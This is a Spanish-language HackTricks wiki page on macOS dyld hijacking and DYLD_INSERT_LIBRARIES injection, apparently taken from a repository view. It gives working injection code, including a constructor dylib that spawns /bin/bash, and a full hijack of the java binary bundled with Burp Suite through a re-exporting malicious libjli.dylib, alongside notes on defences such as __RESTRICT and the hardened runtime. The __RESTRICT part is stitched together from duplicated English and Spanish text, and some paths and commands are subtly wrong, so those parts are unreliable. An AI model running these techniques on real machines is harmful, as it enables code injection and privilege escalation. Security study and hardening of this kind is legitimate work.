hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

263 lines
12 KiB
Markdown
Raw Normal View History

# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
2023-06-05 18:30:03 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-05 18:30:03 +00:00
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Ejemplo básico de DYLD\_INSERT\_LIBRARIES
**Biblioteca para inyectar** y ejecutar una shell:
2023-06-05 18:30:03 +00:00
```c
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
2023-06-05 18:30:03 +00:00
}
```
Binario a atacar:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
2023-06-05 18:30:03 +00:00
}
```
Inyección:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Ejemplo de Secuestro de Dyld
El binario vulnerable objetivo es `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`.
{% tabs %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
2023-06-05 18:30:03 +00:00
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib (offset 12)
2023-06-05 18:30:03 +00:00
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
2023-06-05 18:30:03 +00:00
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
name @rpath/libjli.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
2023-06-05 18:30:03 +00:00
compatibility version 1.0.0
```
{% endcode %}
{% endtab %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% endtabs %}
Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** e intenta cargar una biblioteca desde:
2023-06-05 18:30:03 +00:00
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
Sin embargo, la primera no existe:
```bash
pwd
/Applications/Burp Suite Professional.app
find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
```
¡Así es, es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima al reexportarla. Y recuerda compilarla con las versiones esperadas:
2023-06-05 18:30:03 +00:00
{% code title="libjli.m" %}
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s",argv[0]);
2023-06-05 18:30:03 +00:00
}
```
{% endcode %}
Compílalo:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
# Note the versions and the reexport
```
{% endcode %}
La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca a exportar:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l libjli.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
2023-06-05 18:30:03 +00:00
#Change to absolute to the location of the library
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib
# Check again
otool -l libjli.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
2023-06-05 18:30:03 +00:00
```
{% endcode %}
Finalmente, simplemente cópialo a la **ubicación secuestrada**:
2023-06-05 18:30:03 +00:00
{% code overflow="wrap" %}
```bash
cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"
```
{% endcode %}
Y **ejecuta** el binario y verifica que la **biblioteca se haya cargado**:
2023-06-05 18:30:03 +00:00
<pre class="language-context"><code class="lang-context">./java
<strong>2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
</strong>Usage: java [options] &#x3C;mainclass> [args...]
(to execute a class)
2023-06-05 18:30:03 +00:00
</code></pre>
{% hint style="info" %}
Puedes encontrar un buen artículo sobre cómo aprovechar esta vulnerabilidad para abusar de los permisos de la cámara de Telegram en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
2023-06-05 18:30:03 +00:00
{% endhint %}
## A mayor escala
2023-06-05 18:30:03 +00:00
Si planeas intentar inyectar bibliotecas en binarios inesperados, puedes verificar los mensajes de eventos para saber cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`).
2023-06-05 18:30:03 +00:00
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
## Verificar restricciones
### SUID y SGID
```bash
# Make it owned by root and suid
sudo chown root hello
sudo chmod +s hello
# Insert the library
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
```
### Sección `__RESTRICT` con segmento `__restrict`
The `__RESTRICT` section is a segment in macOS that is used to restrict the loading of dynamic libraries. It is designed to prevent the hijacking of the `dyld` dynamic linker, which can be exploited to escalate privileges on a system.
La sección `__RESTRICT` es un segmento en macOS que se utiliza para restringir la carga de bibliotecas dinámicas. Está diseñada para evitar el secuestro del enlazador dinámico `dyld`, que puede ser explotado para escalar privilegios en un sistema.
### Dyld Hijacking and `dyld_insert_libraries`
Dyld hijacking is a technique used to inject malicious code into a running process by manipulating the dynamic linker `dyld`. By exploiting vulnerabilities in the way `dyld` searches for and loads dynamic libraries, an attacker can execute arbitrary code with the privileges of the targeted process.
Dyld hijacking is particularly effective when combined with the `dyld_insert_libraries` environment variable. This variable allows the injection of additional dynamic libraries into a process at runtime. By setting `dyld_insert_libraries` to a malicious library, an attacker can force the target process to load and execute their code.
### Securing against Dyld Hijacking
To secure against Dyld hijacking and the abuse of `dyld_insert_libraries`, it is recommended to use the `__RESTRICT` section in your macOS applications. By including this section in your binary, you can prevent the dynamic linker from loading any libraries specified in the `dyld_insert_libraries` environment variable.
To add the `__RESTRICT` section to your binary, you can use the `ld` linker with the `-sectcreate` flag. For example:
```
ld -sectcreate __RESTRICT __restrict /dev/null -o your_binary
```
This command creates the `__RESTRICT` section with the `__restrict` segment, effectively blocking the loading of libraries specified in `dyld_insert_libraries`.
### Conclusion
The `__RESTRICT` section in macOS provides a way to protect against Dyld hijacking and the abuse of `dyld_insert_libraries`. By including this section in your binary, you can enhance the security of your macOS applications and prevent privilege escalation attacks.
2023-06-05 18:30:03 +00:00
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Runtime endurecido
2023-06-05 18:30:03 +00:00
Crea un nuevo certificado en el Llavero y úsalo para firmar el binario:
2023-06-05 18:30:03 +00:00
{% code overflow="wrap" %}
```bash
# Apply runtime proetction
2023-06-05 18:30:03 +00:00
codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
2023-06-05 18:30:03 +00:00
# Apply library validation
2023-06-05 18:30:03 +00:00
codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
# Sign it
## If the signature is from an unverified developer the injection will still work
## If it's from a verified developer, it won't
codesign -f -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
2023-06-05 18:30:03 +00:00
# Apply CS_RESTRICT protection
codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
2023-06-05 18:30:03 +00:00
```
{% endcode %}
{% hint style="danger" %}
Ten en cuenta que incluso si hay binarios firmados con la bandera **`0x0(none)`**, pueden obtener la bandera **`CS_RESTRICT`** dinámicamente cuando se ejecutan y, por lo tanto, esta técnica no funcionará en ellos.
Puedes verificar si un proceso tiene esta bandera con (obtén [**csops aquí**](https://github.com/axelexic/CSOps)):&#x20;
```bash
csops -status <pid>
```
y luego verifica si la bandera 0x800 está habilitada.
{% endhint %}
2023-06-05 18:30:03 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-05 18:30:03 +00:00
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>